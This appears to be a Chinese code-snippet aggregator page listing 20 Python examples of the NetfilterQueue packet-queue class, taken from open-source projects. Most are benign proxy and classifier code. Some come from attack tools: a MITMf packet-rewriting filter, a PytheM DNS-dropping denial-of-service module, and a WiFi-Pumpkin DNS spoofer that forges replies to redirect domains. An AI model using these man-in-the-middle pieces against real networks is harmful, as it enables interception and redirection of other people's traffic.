本文整理汇总了Python中netfilterqueue.NetfilterQueue类的典型用法代码示例。如果您正苦于以下问题:Python NetfilterQueue类的具体用法?Python NetfilterQueue怎么用?Python NetfilterQueue使用的例子?那么恭喜您, 这里精选的类代码示例或许可以为您提供帮助。
在下文中一共展示了NetfilterQueue类的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的Python代码示例。
示例1: __init__
class PacketFilter:
def __init__(self, filter):
self.filter = filter
def start(self):
set_ip_forwarding(1)
iptables().NFQUEUE()
self.nfqueue = NetfilterQueue()
self.nfqueue.bind(1, self.modify)
t = threading.Thread(name='packetparser', target=self.nfqueue.run)
t.setDaemon(True)
t.start()
def modify(self, pkt):
#log.debug("Got packet")
data = pkt.get_payload()
packet = IP(data)
try:
execfile(self.filter)
except Exception:
log.debug("Error occurred in filter")
print_exc()
pkt.set_payload(str(packet)) #set the packet content to our modified version
pkt.accept() #accept the packet
def stop(self):
self.nfqueue.unbind()
set_ip_forwarding(0)
iptables().flush()
开发者ID:LucaBongiorni,项目名称:MITMf,代码行数:34,代码来源:packetfilter.py
示例2: Jam
class Jam(object):
name = "Denial of Service Module."
desc = "Denial of service attacks here."
version = "0.1"
ps = "Need to add more DoS attacks."
def __init__(self):
self.blocks = []
def mitmdropstart(self, host):
os.system("iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1")
self.host = host
try:
print "[+] Man-in-the-middle DNS drop initialized."
self.t = threading.Thread(name="mitmdrop", target=self.filter)
self.t.setDaemon(True)
self.t.start()
except Exception as e:
print "[!] Exception caught: {}".format(e)
def mitmdropstop(self):
os.system("iptables -t nat -D PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1")
print "[-] Man-in-the-middle DNS drop finalized."
def callback(self, packet):
packet.drop()
def filter(self):
try:
self.q = NetfilterQueue()
self.q.bind(1, self.callback)
self.q.run()
except Exception as e:
print "[!] Exception caught: {}".format(e)
开发者ID:R00tAK,项目名称:PytheM,代码行数:35,代码来源:jammer.py
示例3: main
def main():
global SERVER_IP, SERVER_PORT
from netfilterqueue import NetfilterQueue
argument_parser = argparse.ArgumentParser()
argument_parser.add_argument('--log-file')
argument_parser.add_argument('--log-level', choices=['INFO', 'DEBUG'], default='INFO')
argument_parser.add_argument('--queue-number', default=0, type=int)
argument_parser.add_argument('server', help='x.x.x.x:19842')
args = argument_parser.parse_args()
log_level = getattr(logging, args.log_level)
logging.getLogger().setLevel(log_level)
logging.getLogger().handlers = []
if args.log_file:
handler = logging.handlers.RotatingFileHandler(
args.log_file, maxBytes=1024 * 16, backupCount=0)
handler.setFormatter(logging.Formatter('%(asctime)s %(levelname)s %(message)s'))
handler.setLevel(log_level)
logging.getLogger().addHandler(handler)
handler = logging.StreamHandler()
handler.setFormatter(logging.Formatter('%(asctime)s %(levelname)s %(message)s'))
handler.setLevel(log_level)
logging.getLogger().addHandler(handler)
signal.signal(signal.SIGTERM, lambda signum, fame: os._exit(1))
signal.signal(signal.SIGINT, lambda signum, fame: os._exit(1))
SERVER_IP, SERVER_PORT = args.server.split(':')
SERVER_PORT = int(SERVER_PORT)
nfqueue = NetfilterQueue()
nfqueue.bind(args.queue_number, handle_nfqueue_element)
LOGGER.info('fquni client started')
nfqueue.run()
开发者ID:fqrouter,项目名称:fquni,代码行数:32,代码来源:fquni_client.py
示例4: handle_nfqueue
def handle_nfqueue():
try:
nfqueue = NetfilterQueue()
nfqueue.bind(3, handle_packet)
nfqueue.run()
except:
LOGGER.exception('stopped handling nfqueue')
开发者ID:jieah,项目名称:fqrouter,代码行数:7,代码来源:full_proxy_service.py
示例5: handle_nfqueue
def handle_nfqueue():
try:
nfqueue = NetfilterQueue()
nfqueue.bind(1, handle_packet)
nfqueue.run()
except:
LOGGER.exception('stopped handling nfqueue')
dns_service_status.error = traceback.format_exc()
开发者ID:jieah,项目名称:fqrouter,代码行数:8,代码来源:dns_service.py
示例6: handle_nfqueue
def handle_nfqueue():
try:
nfqueue = NetfilterQueue()
nfqueue.bind(3, handle_packet)
nfqueue.run()
except:
LOGGER.exception('stopped handling nfqueue')
finally:
LOGGER.info('full proxy service stopped')
开发者ID:ioz9,项目名称:fqrouter,代码行数:9,代码来源:full_proxy_service.py
示例7: setupFilter
def setupFilter():
nfqueue = NetfilterQueue()
#1 is the iptabels rule queue number, filter is the callback function
nfqueue.bind(1, filter)
try:
print "[*] waiting for data"
nfqueue.run()
except KeyboardInterrupt:
pass
开发者ID:crevise,项目名称:pict-ml,代码行数:9,代码来源:queueProcess.py
示例8: debug
def debug():
nfqueue = NetfilterQueue()
# nfqueue.bind(1, print_and_accept)
nfqueue.bind(1, snoop)
try:
nfqueue.run()
except Exception,e:
logger.error("Error in Snoop start: %s" % str(e))
logger.error(traceback.format_exc())
开发者ID:Linerd,项目名称:python-tcpsnoop,代码行数:9,代码来源:snoop.py
示例9: handle_nfqueue
def handle_nfqueue():
try:
nfqueue = NetfilterQueue()
nfqueue.bind(2, handle_packet)
nfqueue.run()
except:
LOGGER.exception('stopped handling nfqueue')
tcp_service_status.error = traceback.format_exc()
finally:
LOGGER.info('tcp service stopped')
开发者ID:catoc,项目名称:fqrouter,代码行数:10,代码来源:tcp_service.py
示例10: main
def main():
nfqueue = NetfilterQueue()
nfqueue.bind(1, process)
try:
nfqueue.run()
except:
print("Exiting...")
# iptables reset
sys.exit(1)
开发者ID:mrt-k,项目名称:nfproxy,代码行数:11,代码来源:icmp.py
示例11: run
def run(self):
try:
while (self.running):
nfqueue = NetfilterQueue()
nfqueue.bind(1, self.handle_pkt)
nfqueue.run()
except Exception as e:
self.logger.error(RED+'NetFilter Failed: '+str(e))
开发者ID:akash1630,项目名称:SDN_stuff_gen,代码行数:11,代码来源:NetClass.py
示例12: run
def run(self):
# This is the intercept
q = NetfilterQueue()
q.bind(1, self.callback)
t = threading.Thread(target=self.__run_threaded, args=(q,))
t.daemon = True
t.start()
while not self.event.is_set():
self.configurator()
print("DNSspoofer finishing!")
q.unbind()
开发者ID:kkwoz,项目名称:dnsdeceiver,代码行数:12,代码来源:dnsspoofer.py
示例13: handle_nfqueue
def handle_nfqueue(queue_number):
from netfilterqueue import NetfilterQueue
while True:
try:
nfqueue = NetfilterQueue()
nfqueue.bind(queue_number, handle_packet)
LOGGER.info('handling nfqueue at queue number %s' % queue_number)
nfqueue.run()
except:
LOGGER.exception('failed to handle nfqueue')
return
finally:
LOGGER.info('stopped handling nfqueue')
开发者ID:JinGeek,项目名称:fqsocks,代码行数:13,代码来源:nfqueue_ipset.py
示例14: DnsSpoofNetFilter
class DnsSpoofNetFilter(object):
def __init__(self):
""" implementation Dnsspoof with Netfilterqueue modules"""
description = "Module DNS spoofing v0.1"
usage = "Usage: use --help for futher information"
parser = argparse.ArgumentParser(description = description, usage = usage)
parser.add_argument('-d','--domains', dest = 'domains', help = 'Specify the domains', required = True)
parser.add_argument('-r', '--redirect', dest = 'redirect', help = 'Redirect host ', required = True)
self.args = parser.parse_args()
def logggingCreate(self):
setup_logger('dnsspoofAP', './logs/AccessPoint/dnsspoof.log')
self.logDNS = logging.getLogger('dnsspoofAP')
self.logDNS.info('Dns Spoof: running...')
def callback(self,packet):
payload = packet.get_payload()
pkt = IP(payload)
if not pkt.haslayer(DNSQR):
packet.accept()
else:
if pkt[DNS].qd.qname[:len(str(pkt[DNS].qd.qname))-1] in self.domain:
self.logDNS.info('{} ->({}) has searched for: {}'.format(pkt[IP].src,
self.redirect,pkt[DNS].qd.qname[:len(str(pkt[DNS].qd.qname))-1]))
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=self.redirect))
packet.set_payload(str(spoofed_pkt))
send(spoofed_pkt,verbose=False)
packet.accept()
elif len(self.domain) == 1 and self.domain[0] == '':
self.logDNS.info('{} ->({}) has searched for: {}'.format(pkt[IP].src,
self.redirect,pkt[DNS].qd.qname[:len(str(pkt[DNS].qd.qname))-1]))
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=self.redirect))
packet.set_payload(str(spoofed_pkt))
send(spoofed_pkt,verbose=False)
packet.accept()
else:
packet.accept()
def main(self):
self.redirect, self.domain = self.args.redirect, self.args.domains.split(',')
self.q = NetfilterQueue()
self.logggingCreate()
self.q.bind(0, self.callback)
self.q.run()
开发者ID:JavierOlmedo,项目名称:WiFi-Pumpkin,代码行数:50,代码来源:dnsspoofNF.py
示例15: start_snoop
def start_snoop(ilist,qname="NFQUEUE",qval=1):
for interface in ilist:
# if the host is the destination (to forward above ip)
subprocess.call("sudo iptables -I INPUT -i eth%s -j %s --queue-num %s"\
% (interface,qname,int(qval)))
# our base station should use this
subprocess.call("sudo iptables -I FORWARD -i eth%s -j %s --queue-num %s"\
% (interface,qname,int(qval)))
nfqueue = NetfilterQueue()
nfqueue.bind(qval, snoop)
try:
nfqueue.run()
except Exception,e:
logger.error("Error in Snoop start: %s" % str(e))
开发者ID:Linerd,项目名称:python-tcpsnoop,代码行数:15,代码来源:snoop.py
示例16: of_forward_func
def of_forward_func():
'''
q = nfqueue.queue()
q.open()
q.bind(socket.AF_INET)
q.set_callback(pkt_modify)
q.create_queue(1)
'''
nfq = NetfilterQueue()
nfq.bind(1, pkt_filter_callback)
cmd = 'iptables -t mangle -I PREROUTING -i eth1 -p tcp --dport 6633 -j NFQUEUE --queue-num 1'
subprocess.call(cmd, shell=True, stdout=subprocess.PIPE)
cmd = 'ip rule add fwmark 30 table of_forward'
subprocess.Popen(cmd.split(), stdout=subprocess.PIPE)
cmd = 'ip route add default dev tun0 table of_forward'
subprocess.Popen(cmd.split(), stdout=subprocess.PIPE)
cmd = 'iptables -t nat -I POSTROUTING -o tun0 -j MASQUERADE'
subprocess.Popen(cmd.split(), stdout=subprocess.PIPE)
cmd = 'sysctl -w net.ipv4.conf.tun0.rp_filter=2'
subprocess.call(cmd, stdout=subprocess.PIPE, shell=True)
try:
print 'OF forward mode - Starting to forwarding Openflow packet'
nfq.run()
except KeyboardInterrupt:
print 'Quitting Openflow packet forward mode'
cmd = 'iptables -t mangle -D PREROUTING 1'
subprocess.call(cmd, stdout=subprocess.PIPE, shell=True)
cmd = 'ip rule del table of_forward'
subprocess.call(cmd, stdout=subprocess.PIPE, shell=True)
cmd = 'ip route flush table of_forward'
subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True)
cmd = 'iptables -t nat -D POSTROUTING 1'
subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True)
return
开发者ID:MobileConvergenceLab,项目名称:ACconnector,代码行数:48,代码来源:of_forward.py
示例17: __init__
def __init__(self, queue_number):
self.hsts = False
self.dns = False
self.dnscfg = None
self.hstscfg = None
self.queue_number = queue_number
self.nfqueue = NetfilterQueue()
开发者ID:Zaratros,项目名称:MITMf,代码行数:7,代码来源:Spoof.py
示例18: packet_collector
def packet_collector(self):
"""
Main NFQ related method.
Configure the queue (if available) and wait for packets.
NOTE: NetfilterQueue.run() blocs!
"""
if not NFQ_AVAILABLE:
logger.error('Classifier can\'t start\n\n'
'*** NetfilterQueue not supported or installed ***\n')
return
try:
self.nfq = NetfilterQueue()
logger.info('Binding to NFQ queue number "%s"', NFQ_NUMBER)
self.nfq.bind(NFQ_NUMBER, self.process_packet)
except:
msg = ('Failed to bind to the NFQ queue number "%s". '
'HINT: try to run command `sudo iptables -L` to check if '
'the required queue is available.' % NFQ_NUMBER)
logger.exception(msg)
raise
try:
logger.info('Starting NFQ - waiting for packets ...')
self.nfq.run()
except:
logger.exception('Failed to start NFQ')
raise
开发者ID:522986491,项目名称:sfc,代码行数:33,代码来源:classifier.py
示例19: spoof
def spoof(self):
try:
self.q = NetfilterQueue()
self.q.bind(1, self.callback)
self.q.run()
except Exception as e:
print "[*] Exception caught: {}".format(e)
开发者ID:CaineQT,项目名称:PytheM,代码行数:7,代码来源:dnspoisoner.py
示例20: __init__
def __init__(self, nfq_number):
"""
We use mark that will be equal to path_id
"""
self.nfq_number = nfq_number
self.nfqueue = NetfilterQueue()
self.tun_params_transformer = NfqTunnelParamsTransformer()
self.__reset()
开发者ID:522986491,项目名称:sfc,代码行数:8,代码来源:nfq_class_server.py
注:本文中的netfilterqueue.NetfilterQueue类示例由纯净天空整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。 |
请发表评论